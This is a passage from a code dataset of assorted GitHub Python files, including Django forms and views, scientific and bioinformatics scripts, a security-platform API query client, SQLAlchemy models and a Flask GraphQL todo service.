self.iterations","repo_name":"machinereading/kaiser","sub_path":"src/prototypical_batch_sampler.py","file_name":"prototypical_batch_sampler.py","file_ext":"py","file_size_in_byte":6796,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"21922131952","text":"\ntry:\n\ttry:\n\t\timport ujson as json\n\texcept:\n\t\timport simple_json as json\nexcept:\n\timport json\n\nimport ruamel.yaml\nfrom io import StringIO\n\ndef yaml(o) -> str:\n\tyamlDumper = ruamel.yaml.YAML(typ=\"rt\")\n\tyamlDumper.indent(mapping=2, sequence=4, offset=2)\n\twith StringIO() as s:\n\t\tyamlDumper.dump(o, s)\n\t\treturn s.getvalue()\n\ndef countOfBigLetters(t):\n\tr=0\n\tfor c in t:\n\t\tif c in uppercase:\n\t\t\tr+=1\n\treturn r\n\n","repo_name":"KOLANICH-physics/SCPICommandsParse.py","sub_path":"SCPICommands/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21103126480","text":"from django import forms\n\nimport lalsimulation\nimport numpy as np\n\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Submit, Row, Column, Fieldset\n\ndef _is_useable_psd(func):\n try:\n func(0.)\n return True\n except TypeError:\n pass\n\n return False\n\ndef _get_psds(module):\n psds = [[p, getattr(module, p)] for p in dir(module) if \"SimNoisePSD\" in p]\n psds = [[n, p] for n, p in psds if _is_useable_psd(p)]\n return psds\n\nclass WaveformForm(forms.Form):\n def __init__(self, *args, **kwargs):\n super(WaveformForm, self).__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.form_action = '/waveforms/plot/'\n self.helper.form_method = 'GET'\n self.helper.form_id = 'waveform_form'\n self.helper.form_style = 'inline'\n self.helper.layout = Layout(\n Fieldset(\"Intrinsic Parameters\",\n Row(\n Column('m1', css_class='form-group col-md-6 mb-0'),\n Column('m2', css_class='form-group col-md-6 mb-0'),\n css_class='form-row'\n ),\n Row(\n Column('spin1x', css_class='form-group col-md-4 mb-0'),\n Column('spin1y', css_class='form-group col-md-4 mb-0'),\n Column('spin1z', css_class='form-group col-md-4 mb-0'),\n css_class='form-row'\n ),\n Row(\n Column('spin2x', css_class='form-group col-md-4 mb-0'),\n Column('spin2y', css_class='form-group col-md-4 mb-0'),\n Column('spin2z', css_class='form-group col-md-4 mb-0'),\n css_class='form-row'\n ),\n Row(\n Column('distance', css_class='form-group col-md-6 mb-0'),\n Column('inclination', css_class='form-group col-md-6 mb-0'),\n css_class='form-row'\n ),\n ),\n Fieldset(\"Power Spectral Density\", 'psd'),\n Submit('submit', 'Generate Waveform')\n )\n\n _PSDS = dict(_get_psds(lalsimulation))\n\n m1 = forms.FloatField(label='m1')\n m2 = forms.FloatField(label='m2')\n\n spin1x = forms.FloatField(label='spin1x', min_value=-1.0, max_value=1.0)\n spin1y = forms.FloatField(label='spin1y', min_value=-1.0, max_value=1.0)\n spin1z = forms.FloatField(label='spin1z', min_value=-1.0, max_value=1.0)\n\n spin2x = forms.FloatField(label='spin2x', min_value=-1.0, max_value=1.0)\n spin2y = forms.FloatField(label='spin2y', min_value=-1.0, max_value=1.0)\n spin2z = forms.FloatField(label='spin2z', min_value=-1.0, max_value=1.0)\n\n distance = forms.FloatField(label='distance', min_value=0.0)\n inclination = forms.FloatField(label='inclination', min_value=0.0, max_value=np.pi)\n\n choices = [(p, p) for p in _PSDS.keys()]\n choices.insert(0, (\"None\", \"None\"))\n psd = forms.ChoiceField(label=\"PSD\", choices=choices)\n","repo_name":"CIERA-Northwestern/gwinteract","sub_path":"gwinteract/waveforms/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"72739923985","text":"import os\nimport time\nfrom client.client import Client\nfrom datetime import datetime, timedelta\n\nclient = Client()\n\n\ndef run_standard_command_with_relative_lookback(query: str, platform_alias: str, relative_lookback_minutes: int):\n path = 'command'\n currentEpochTime = datetime.utcnow()\n relativeEpochTime = currentEpochTime - \\\n timedelta(minutes=relative_lookback_minutes)\n payload = {\n \"query\": query,\n \"alias\": platform_alias,\n \"start_time\": str(relativeEpochTime.timestamp()),\n \"end_time\": str(currentEpochTime.timestamp()),\n \"org_name\": os.environ['org_name'],\n \"timeout\": 300\n }\n command_results = client.post(path=path, payload=payload)\n return command_results\n\n\ndef check_async_command_status(tracking_id: str):\n gathering_results = True\n while gathering_results:\n command_results = client.get(path='command_async', params={\n 'tracking_id': tracking_id})\n if command_results.json()['status'] == 'SUCCESS':\n gathering_results = False\n else:\n time.sleep(5)\n return command_results\n\n\ndef run_async_command_with_relative_lookback(query: str, platform_alias: str, relative_lookback_minutes: int):\n path = 'command_async'\n currentEpochTime = datetime.utcnow()\n relativeEpochTime = currentEpochTime - \\\n timedelta(minutes=relative_lookback_minutes)\n payload = {\n \"query\": query,\n \"alias\": platform_alias,\n \"start_time\": str(relativeEpochTime.timestamp()),\n \"end_time\": str(currentEpochTime.timestamp()),\n \"org_name\": os.environ['org_name'],\n \"timeout\": 300\n }\n start_command = client.post(path, payload)\n tracking_id = start_command.json()['tracking_id']\n command_results = check_async_command_status(tracking_id)\n return command_results\n\n\nif __name__ == '__main__':\n query = \" cs-falcon-search-device\"\n platform_alias = \"crowdstrike_falcon\"\n command_results = run_async_command_with_relative_lookback(\n query=query, platform_alias=platform_alias, relative_lookback_minutes=30)\n print(command_results.json())\n","repo_name":"tdiderich/queryai","sub_path":"command/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21410270766","text":"r\"\"\"\nCalculate error rates in an OpenITI text (or folder of texts) \\\nusing a spell check algorithm.\nThe spell check algorithm currently used is a pyEnchant implementation\nof the Hunspell spell checker - but other spellcheck functions could\nbe plugged in using the `spellcheck_func` argument.\n\nMain functions:\n\n* collect_spellcheck_error_data_in_folder\n* collect_spellcheck_error_data_in_file\n\n!!!!!!!!!!!!!!!!!!!!!!!!!works only with python 3.6+!!!!!!!!!!!!!!!!!!!!!\n\nIf you install pyEnchant with pip in Python 3.6+, it will also install enchant.\n\nNB: Arabic dictionary created by ayaspell project (http://ayaspell.sourceforge.net/)\nand downloaded from\nhttps://cgit.freedesktop.org/libreoffice/dictionaries/tree/ar\nPut both dictionary files (.dic and .app) into this folder\ninside the enchant folder in your Python folder's site packages:\nLib\\site-packages\\enchant\\data\\mingw32\\share\\enchant\\hunspell\n(e.g., on my computer:\nC:\\Users\\peter\\AppData\\Local\\Programs\\Python\\Python38-32\\Lib\\site-packages\\enchant\\data\\mingw32\\share\\enchant\\hunspell\n)\n\"\"\"\n\nimport re\nimport os\nimport enchant\nimport json\nfrom openiti.helper.ara import ar_tok\nfrom openiti.helper.funcs import get_all_text_files_in_folder\n\n# load the enchant dictionary to be used:\nd = enchant.Dict(\"ar\")\n\ndef check_with_pyEnchant(tok):\n \"\"\"Check whether a token is recognized by the spell checker.\n\n Args:\n tok (str): token to be checked\n\n Returns:\n bool\n \"\"\"\n return d.check(tok)\n\ndef calculate_error_rate(t, spellcheck_func=check_with_pyEnchant,\n token_regex=ar_tok, long=8, verbose=False):\n \"\"\"Get the error rate for each book and each page of a book.\n\n The function goes through every token on each page of the book\n and checks whether or not the `spellcheck_func` recognizes\n the token. It counts the number of unrecognized tokens.\n In addition, it checks how many of these errors are in\n \"over-long\" tokens.\n Finally, an error rate (number of errors divided by number of tokens)\n is calculated for every page of the book, and every book as a whole.\n\n Args:\n t (str): the text of the book as a string\n spellcheck_func (func): function to be used to check spelling\n token_regex (str): regular expression pattern describing the\n tokens that need to be checked\n long (int): minimum number of characters in a token to be\n considered a long token\n verbose (bool): if False, no output will be printed\n\n Returns:\n dict (containing the overall error rates and page-level error rates)\n \"\"\"\n errors = {\"all\": 0, \"long\": 0, \"tok_count\": 0, \"page_errors\": []}\n page_errors = {\"all\": 0, \"long\": 0, \"tok_count\": 0, \"page_no\": \"\"}\n for p in re.split(\"(PageV\\d+P\\d+)\", t):\n #print(p)\n if p.startswith(\"Page\"): # end of page: save page_errors\n if verbose and p.endswith(\"0\"):\n print(p)\n page_errors[\"page_no\"] = p\n errors[\"page_errors\"].append(page_errors)\n page_errors = {\"all\": 0, \"long\": 0, \"tok_count\": 0, \"page_no\": \"\"}\n else: # analyze all tokens in the page:\n if p: \n for m in re.finditer(token_regex, p):\n errors[\"tok_count\"] += 1\n page_errors[\"tok_count\"] += 1\n tok = m.group()\n if verbose:\n print(\" \", tok, d.check(tok))\n #if d.check(tok) == False:\n if spellcheck_func(tok) == False:\n errors[\"all\"] += 1\n page_errors[\"all\"] += 1\n if len(tok) > long:\n errors[\"long\"] += 1\n page_errors[\"long\"] += 1\n error_rate = errors[\"all\"]/errors[\"tok_count\"]\n errors[\"error_rate\"] = error_rate\n if verbose:\n print(\" error_rate:\", 100*error_rate, \"%\")\n long_rate = errors[\"long\"]/errors[\"tok_count\"]\n errors[\"long_tokens_error_rate\"] = long_rate\n return errors\n\ndef collect_spellcheck_error_data_in_file(fp, spellcheck_func,\n outfolder=\"error_data\",\n error_data={}, overwrite=False):\n \"\"\"Collect \"error\" data for the text file at `fp` \\\n using a spellchecker function.\n\n This function creates a json file containing error data for each page.\n It also adds the error data to the `error_data` dictionary.\n\n Args:\n fp (str): path to a file containing an OpenITI text\n spellcheck_func (func): function to be used to check spelling\n overwrite (bool): if True, book-level json files will be overwritten;\n if False, book-level error data will be read from the json\n files instead of re-analysing the text.\n \"\"\"\n v_uri = os.path.basename(fp)\n outfp = os.path.join(outfolder, v_uri+\"_error_data.json\")\n if overwrite or not os.path.exists(outfp):\n # load text:\n with open(fp, mode=\"r\", encoding=\"utf-8\") as file:\n t = file.read()\n\n # split off metadata header:\n t = t.split(\"#META#Header#End\")[-1]\n \n # get spellcheck data for this book:\n error_data[v_uri] = calculate_error_rate(t)\n \n # save page-level error data for this book: \n with open(outfp, mode=\"w\", encoding=\"utf-8\") as file:\n json.dump(error_data[v_uri], file,\n ensure_ascii=False, indent=2, sort_keys=True)\n else: # read existing error data from json file\n with open(outfp, mode=\"r\", encoding=\"utf-8\") as file:\n error_data[v_uri] = json.load(file)\n \n # remove page-level error data from the corpus-wide statistics:\n del error_data[v_uri][\"page_errors\"]\n\ndef collect_spellcheck_error_data_in_folder(folder, tsv_fp, json_fp,\n outfolder=\"error_data\",\n lang_code=\"ara\",\n spellcheck_func=check_with_pyEnchant,\n overwrite=False):\n \"\"\"Collect \"error\" data for all text files in the folder\n (and its subfolders) using a spellchecker.\n\n This function creates multiple outputs:\n \n * For each book, a json file containing error data for each page.\n * a json file containing containing book-level error data for all\n files in the folder (and its sub-folders)\n * a tsv file containing containing book-level error data for all\n files in the folder (and its sub-folders)\n\n Args:\n folder (str): path to a folder containing OpenITI text files\n tsv_fp (str): path to the tsv output file\n json_fp (str): path to the json output file\n lang_code (str): language code used in the OpenITI URI;\n to make sure that only texts in the relevant language are spell-checked.\n Set to None if all files should be checked, regardless of their language.\n spellcheck_func (func): function to be used to check spelling\n overwrite (bool): if True, book-level json files will be overwritten;\n if False, book-level error data will be read from the json\n files instead of re-analysing the text.\n \"\"\"\n # prepare json output dictionary:\n error_data = dict()\n\n # prepare tsv output file:\n\n # create empty tsv output file with header:\n # (NB: existing tsv output file will be overwritten)\n header = [\"uri\", \"all\", \"long\", \"error_rate\",\n \"long_tokens_error_rate\", \"tok_count\"]\n cols = header[1:]\n with open(tsv_fp, mode=\"w\", encoding=\"utf-8\") as tsv_file:\n print(\"writing corpus-wide data to\", tsv_fp)\n tsv_file.write(\"\\t\".join(header) + \"\\n\")\n\n # get error data for every book and write it to tsv:\n with open(tsv_fp, mode=\"a\", encoding=\"utf-8\") as tsv_file:\n for fp in get_all_text_files_in_folder(folder):\n check = True\n if lang_code:\n if not \"-\"+lang_code in fp:\n check = False\n if check: \n v_uri = os.path.basename(fp)\n print(v_uri)\n collect_spellcheck_error_data_in_file(fp, error_data=error_data,\n spellcheck_func = spellcheck_func,\n overwrite=overwrite)\n \n # write the book-level error data to the corpus-wide tsv file:\n tsv_data = [v_uri,] + [str(error_data[v_uri][col]) for col in cols]\n tsv_file.write(\"\\t\".join(tsv_data) + \"\\n\")\n \n # save corpus-level error data as json file:\n with open(json_fp, mode=\"w\", encoding=\"utf-8\") as file:\n json.dump(error_data, file, ensure_ascii=False, indent=2, sort_keys=True)\n\n\nif __name__ == \"__main__\":\n folder = r\"D:\\London\\OpenITI\\25Y_repos\"\n tsv_fp = os.path.basename(folder) + \"_error_data.tsv\"\n json_fp = os.path.basename(folder) + \"_error_data.json\"\n collect_spellcheck_error_data_in_folder(folder, tsv_fp, json_fp, spellcheck_func=check_with_pyEnchant)\n\n\n","repo_name":"pverkind/OCRspellcheck","sub_path":"calculate_error_rates_using_spellcheck.py","file_name":"calculate_error_rates_using_spellcheck.py","file_ext":"py","file_size_in_byte":9188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"75006379345","text":"from django.http import HttpResponse\nfrom django.shortcuts import render, get_object_or_404\nfrom .logica import CampoMinado\n# Create your views here.\n\ndef novo(request):\n return render(request, \"index.html\", {})\n\ndef partida(request):\n tamanho = request.POST\n tabuleiro = CampoMinado(tamanho[\"linha\"], tamanho[\"coluna\"])\n jogadas = tabuleiro.get()\n linha_jogada = int(tamanho[\"linha-jogada\"])\n coluna_jogada = int(tamanho[\"coluna-jogada\"])\n\n if( jogadas[linha_jogada][coluna_jogada] == \"bomba\" ):\n resultado = \"perdeu troucha\"\n else:\n resultado = \"ganhou bichão\"\n\n tabuleiro = {\n 'jogadas': jogadas,\n 'resultado': resultado,\n 'linha_jogada': linha_jogada,\n 'coluna_jogada': coluna_jogada\n }\n return render(request, 'tabuleiro.html', tabuleiro)\n","repo_name":"andrelimabessa/sd217.2","sub_path":"campo_minado/campo_minado/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"15544610010","text":"\"\"\"\nlabw_utils -- Utility Python functions & classes used in LabW\n\nThis is the top-level package of LabW Utils.\nIt also defines some commonly-used dependencies.\n\nImport of this module may raise following errors & warnings:\n\n- :py:obj:`RuntimeError`: If Python version lower than or equal to 3.6.\n- :py:obj:`UserWarning`: If Python version is 3.7.\n\"\"\"\n\nfrom __future__ import annotations\n\n__all__ = (\n \"PackageSpec\",\n \"PackageSpecs\",\n \"UnmetDependenciesError\",\n \"__version__\"\n)\n\n__version__ = \"1.0.2\"\n\nimport sys\nimport warnings\n\nfrom typing import Optional\n\nif sys.version_info <= (3, 6):\n raise RuntimeError(\"Python version <= 3.6, refuse to work.\")\nelif sys.version_info < (3, 8):\n warnings.warn(\"Python version == 3.7, not recommended.\")\n\nif sys.version_info >= (3, 9):\n from collections.abc import Iterable\n\n Dict = dict\nelse:\n from typing import Iterable, Dict\n\n\nclass PackageSpec:\n \"\"\"\n Basic package specification. Can be used to specify packages in following package registry:\n\n - PYPI: https://pypi.org/\n - Conda: http://anaconda.org/\n\n .. versionadded:: 1.0.0\n \"\"\"\n _name: str\n _conda_channel: Optional[str]\n _conda_name: Optional[str]\n _pypi_name: Optional[str]\n\n def __repr__(self):\n if self._conda_name is not None:\n if self._conda_channel is not None:\n conda_str = f\"Use ``conda install -c {self._conda_channel} {self._conda_name}``\"\n else:\n conda_str = f\"Use ``conda install {self._conda_name}``\"\n else:\n conda_str = \"\"\n if self._pypi_name is not None:\n pypi_str = f\"Use ``pip install {self._pypi_name}``\"\n else:\n pypi_str = \"\"\n return \"; \".join((conda_str, pypi_str))\n\n def __init__(\n self,\n name: str,\n conda_channel: Optional[str],\n conda_name: Optional[str],\n pypi_name: Optional[str]\n ):\n self._name = name\n self._conda_name = conda_name\n self._pypi_name = pypi_name\n self._conda_channel = conda_channel\n\n @property\n def name(self) -> str:\n \"\"\"\n Commonly-used name of that package.\n \"\"\"\n return self._name\n\n @property\n def conda_name(self) -> Optional[str]:\n \"\"\"\n Name as-is in Conda\n \"\"\"\n return self._conda_name\n\n @property\n def conda_channel(self) -> Optional[str]:\n \"\"\"\n Channel name as-is in Conda\n \"\"\"\n return self._conda_channel\n\n @property\n def pypi_name(self) -> Optional[str]:\n \"\"\"\n Name as-is in PyPI\n \"\"\"\n return self._pypi_name\n\n\nclass PackageSpecs:\n \"\"\"\n Package specifications.\n Maintains a list of :py:class:`PackageSpec`.\n Used in :py:class:`UnmetDependenciesError`.\n\n Current recognized optional dependencies:\n \"\"\"\n _deps: Dict[str, PackageSpec] = {}\n\n @staticmethod\n def get(name: str) -> PackageSpec:\n \"\"\"\n Get package specification.\n\n :param name: Name of package.\n :return: Specification of that package.\n :raises KeyError: If the package was not found.\n \"\"\"\n return PackageSpecs._deps[name]\n\n @staticmethod\n def add(item: PackageSpec) -> None:\n \"\"\"\n Add a package into the list.\n \"\"\"\n PackageSpecs._deps[item.name] = item\n if PackageSpecs.__doc__ is None: # Supress mypy\n PackageSpecs.__doc__ = \"\"\n PackageSpecs.__doc__ = PackageSpecs.__doc__ + f\"\\n - ``{item.name}``: {item}\"\n\n @staticmethod\n def iter_names() -> Iterable[str]:\n \"\"\"\n Iterate known package names.\n \"\"\"\n return iter(PackageSpecs._deps.keys())\n\n\nPackageSpecs.add(PackageSpec(\n name=\"pandas\",\n conda_name=\"pandas\",\n pypi_name=\"pandas\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"numpy\",\n conda_name=\"numpy\",\n pypi_name=\"numpy\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"torch\",\n conda_name=\"pytorch\",\n pypi_name=\"torch\",\n conda_channel=\"pytorch\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"pytables\",\n conda_name=\"pytables\",\n pypi_name=\"pytables\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"pysam\",\n conda_name=\"pysam\",\n pypi_name=\"pysam\",\n conda_channel=\"bioconda\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"pyarrow\",\n conda_name=\"pyarrow\",\n pypi_name=\"pyarrow\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"fastparquet\",\n conda_name=\"fastparquet\",\n pypi_name=\"fastparquet\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"flask\",\n conda_name=\"flask\",\n pypi_name=\"flask\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"sqlalchemy\",\n conda_name=\"sqlalchemy\",\n pypi_name=\"sqlalchemy\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"psutil\",\n conda_name=\"psutil\",\n pypi_name=\"psutil\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"gevent\",\n conda_name=\"gevent\",\n pypi_name=\"gevent\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"tomli_w\",\n conda_name=\"tomli-w\",\n pypi_name=\"tomli-w\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"requests\",\n conda_name=\"requests\",\n pypi_name=\"requests\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"joblib\",\n conda_name=\"joblib\",\n pypi_name=\"joblib\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"jinja2\",\n conda_name=\"jinja2\",\n pypi_name=\"jinja2\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"matplotlib\",\n conda_name=\"matplotlib\",\n pypi_name=\"matplotlib\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"scipy\",\n conda_name=\"scipy\",\n pypi_name=\"scipy\",\n conda_channel=\"conda-forge\"\n))\nPackageSpecs.add(PackageSpec(\n name=\"snappy\",\n conda_name=\"python-snappy\",\n pypi_name=\"python-snappy\",\n conda_channel=\"conda-forge\"\n))\n\n\nclass UnmetDependenciesError(RuntimeError):\n \"\"\"\n An error indicating some additional packages should be installed.\n \n .. versionadded:: 1.0.0\n \"\"\"\n _package_name: str\n\n def __init__(self, package_name: str):\n self._package_name = package_name\n err_message = f\"{package_name} not installed; \" + repr(PackageSpecs.get(package_name))\n super().__init__(err_message)\n\n @property\n def package_name(self) -> str:\n \"\"\"Name of the missing package\"\"\"\n return self._package_name\n\n# Optimizers\n\ntry:\n import pyjion\n\n pyjion.enable()\nexcept ImportError:\n pyjion = None\n","repo_name":"WanluLiuLab/labw_utils","sub_path":"src/labw_utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34424880731","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\nimport re\nimport json\nimport ast\nimport argparse\n \nparser = argparse.ArgumentParser(description=\"Get final table for assembly pipeline\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument(\"-s\", \"--stats\", nargs=\"+\", help=\"List with stats files from different assemblies\")\nparser.add_argument(\"-b\", \"--buscos\", nargs=\"+\", help=\"List with busco short summaries from different assemblies\")\nparser.add_argument(\"-m\", \"--merqs\", nargs=\"+\", help=\"List with merqury results from different assemblies\")\n\nargs = parser.parse_args()\n\nbuscos_dict = {}\nmerqs_dict = {}\nfor file in args.buscos:\n base_elements = os.path.basename(file).split('.')[:-2]\n base = \".\".join(base_elements)\n buscos_dict[base] = file\n\nif args.merqs != None:\n for file in args.merqs:\n base = os.path.basename(os.path.dirname(file))\n merqs_dict[base] = os.path.dirname(file)\nelse:\n args.merqs = \"n\"\n # print(\"hello\")\n# print(\"assembly\\tcN50\\tcL50\\tsN50\\tsL50\\ttotal_len\\ttotal_seq\\tBUSCOv5\\tQV\")\n#else:\nprint(\"assembly\\tcN50\\tcL50\\tsN50\\tsL50\\ttotal_len\\ttotal_seq\\tBUSCOv5\\tQV\\tMerqury_completeness\\tFalse_duplications\")\n\nassemblies={}\nfor file in args.stats:\n base_elements = os.path.basename(file).split('.')[:-2]\n base = \".\".join(base_elements)\n cn50 = cl50 = sl50 = sn50 = len = seqs = 0\n if base not in assemblies:\n with open (file, 'r') as file:\n for line in file:\n if line.startswith('Contig N50'):\n cn50 = line.split('\\t')[-1].rstrip()\n if line.startswith('Contig L50'):\n cl50 = line.split('\\t')[-1].rstrip()\n if line.startswith('Scaffold N50'):\n sn50 = line.split('\\t')[-1].rstrip()\n if line.startswith('Scaffold L50'):\n sl50 = line.split('\\t')[-1].rstrip()\n if line.startswith('Scaffold num_bp\\t'):\n len = line.split('\\t')[-1].rstrip()\n if line.startswith('Scaffold num_seq'):\n seqs = line.split('\\t')[-1].rstrip()\n with open (buscos_dict[base], 'r') as busco_file:\n for line in busco_file:\n if line.startswith('\tC:'):\n busco = line.split('\\s+')[-1].rstrip().replace(\"\tC:\",\"C:\")\n if base in merqs_dict:\n merqdir = merqs_dict[base]\n with open (merqdir + \"/\" + base + \".qv\", 'r') as merq_file:\n for line in merq_file:\n qv = line.split('\\t')[3]\n with open (merqdir + \"/\" + base + \".completeness.stats\", 'r') as merq_file:\n for line in merq_file:\n completeness = line.split('\\t')[4].rstrip()\n with open (merqdir + \"/\" + base + \".false_duplications.txt\", 'r') as merq_file:\n for line in merq_file:\n dup = line.split('\\t')[9].rstrip()\n assemblies[base] = \"\"\n print(base,cn50,cl50,sn50,sl50,len,seqs,busco,qv,completeness,dup, sep=\"\\t\")\n else:\n assemblies[base] = \"\"\n print(base,cn50,cl50,sn50,sl50,len,seqs,busco, sep=\"\\t\")","repo_name":"cnag-aat/assembly_pipeline","sub_path":"scripts/get_final_tbl_mult.py","file_name":"get_final_tbl_mult.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"38010145091","text":"\"\"\"\nBased on: https://gist.github.com/dustinvtran/734a0fbe982ded5e53ecdacc4feb0ebb\n\"\"\"\nimport edward as ed\nimport numpy as np\nimport tensorflow as tf\nimport seaborn as sns\n\nimport matplotlib.pyplot as plt\nfrom edward.models import Bernoulli, Beta\nfrom edward.criticisms import ppc_stat_hist_plot\n\ned.set_seed(42)\n\nsns.set_style('ticks')\n\ny = np.random.randn(20)\ny_rep = np.random.randn(20, 20)\n\ned.criticisms.ppc_density_plot(y, y_rep)\nplt.show()\n\n# DATA\nx_data = np.array([0, 1, 0, 0, 0, 0, 0, 0, 0, 1])\n\n# MODEL\np = Beta(1.0, 1.0)\nx = Bernoulli(tf.ones(10) * p)\n\n# INFERENCE\nqp_a = tf.nn.softplus(tf.Variable(tf.random_normal([])))\nqp_b = tf.nn.softplus(tf.Variable(tf.random_normal([])))\nqp = Beta(qp_a, qp_b)\n\ninference = ed.KLqp({p: qp}, data={x: x_data})\ninference.run(n_iter=500)\n\n# CRITICISM\nx_post = ed.copy(x, {p: qp})\n\nsns.distplot(p.sample(1000).eval())\nplt.show()\n\nsns.distplot(qp.sample(1000).eval())\nplt.show()\n\nx_ = Bernoulli(tf.ones(10) * qp)\n\ny_rep, y = ed.ppc(lambda xs, zs: tf.reduce_mean(tf.cast(xs[x_post],\n tf.float32)), data={x_post: x_data})\n\ny_rep, y = ed.ppc(lambda xs, zs: tf.reduce_mean(tf.cast(xs[x_],\n tf.float32)), data={x_: x_data})\n\nppc_stat_hist_plot(y[0], y_rep,\n stat_name=r'$T \\equiv mean$', bins=10)\nplt.show()\n","repo_name":"edublancas/neural-clustering","sub_path":"examples/criticism.py","file_name":"criticism.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"40462042432","text":"from sqlalchemy import Column, Integer, String, Enum, Date\nfrom sqlalchemy.ext.declarative import declarative_base\n\nBase = declarative_base()\n\nclass User(Base):\n __tablename__ = 'usuarios'\n \n UsuarioID = Column(Integer, primary_key=True)\n NombreUsuario = Column(String(50), nullable=False)\n CorreoElectronico = Column(String(100), nullable=False)\n Contrasena = Column(String(25), nullable=False)\n FechaCreacion = Column(Date, nullable=False)\n FechaActualizacion = Column(Date)\n Idioma = Column(Enum('Español', 'English'), default='Español')\n ZonaHoraria = Column(String(8), default='GMT+1')\n Token = Column(String(50))\n PuntosLealtad = Column(Integer, default=0)\n # other columns...\n\nclass UserRole(Base):\n __tablename__ = 'rolesusuarios'\n \n RolID = Column(Integer, primary_key=True)\n NombreRol = Column(String(50), nullable=False)\n DescripcionRol = Column(String(200), nullable=False)\n # other columns...\n\nclass UserRoles(Base):\n __tablename__ = 'usuariosroles'\n \n UsuariosRolesID = Column(Integer, primary_key=True)\n UsuarioID = Column(Integer, nullable=False)\n RolID = Column(Integer, nullable=False)\n # other columns...\n","repo_name":"360rugby/app","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27197881086","text":"stack = []\nSIZE = 100\nposition = -1\n\ndef push(data,stack,SIZE,position):\n #Overflow function\n if(position == SIZE):\n print(\"overflow\")\n else :\n stack.append(data)\n position = position + 1\n return stack,position\n\ndef pop(stack,position):\n\n #underflow\n if(position == -1):\n print(\"underflow\")\n return \"error\",position\n temp = stack[position]\n del stack[position]\n position = position - 1\n return temp,position\n\nwhile(True):\n choice = int(input('input the choice (1 is push , else is pop) : '))\n if(choice == 1):\n data = int(input('input the daat value : '))\n stack,position = push(data,stack,SIZE,position)\n else:\n data,position = pop(stack,position)\n\n print('stack', stack)\n print('data', data)\n print('position', position)","repo_name":"nobug-code/Turing_python_basic","sub_path":"Data_structure/stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"30606318135","text":"'''\nFunction to return the log in the right format\n'''\ndef request_log_maker(request, request_body):\n return {\n 'req': {\n 'url': request.url.path,\n 'headers': {\n 'host': request.headers['host'],\n 'user-agent': request.headers['user-agent'],\n 'accept': request.headers['accept']\n },\n 'method': request.method,\n 'httpVersion': request.scope['http_version'],\n 'originalUrl': request.url.path,\n 'query': request_body\n }\n }\n ","repo_name":"Yash2017/todo-list-fastapi","sub_path":"todoListFastapi/log/request_log_maker/request_log_maker.py","file_name":"request_log_maker.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4849484742","text":"from flask import Flask, request, jsonify\nimport ariadne, uuid\n\napp = Flask(__name__)\n\ntodos = [\n { \"id\": str(uuid.uuid4()), \"name\": \"Cook dinner\" },\n { \"id\": str(uuid.uuid4()), \"name\": \"Do the ironing\" },\n { \"id\": str(uuid.uuid4()), \"name\": \"Shave\" },\n]\n\ndef resolve_todos(obj, info):\n return { \"todos\": todos, \"success\": True }\n\n@ariadne.convert_kwargs_to_snake_case\ndef resolve_todo(obj, info, todo_id):\n for todo in todos:\n if todo[\"id\"] == todo_id:\n return { \"success\": True, \"todo\": todo }\n return { \"success\": False, \"errors\": [ \"Unable to find todo\" ] 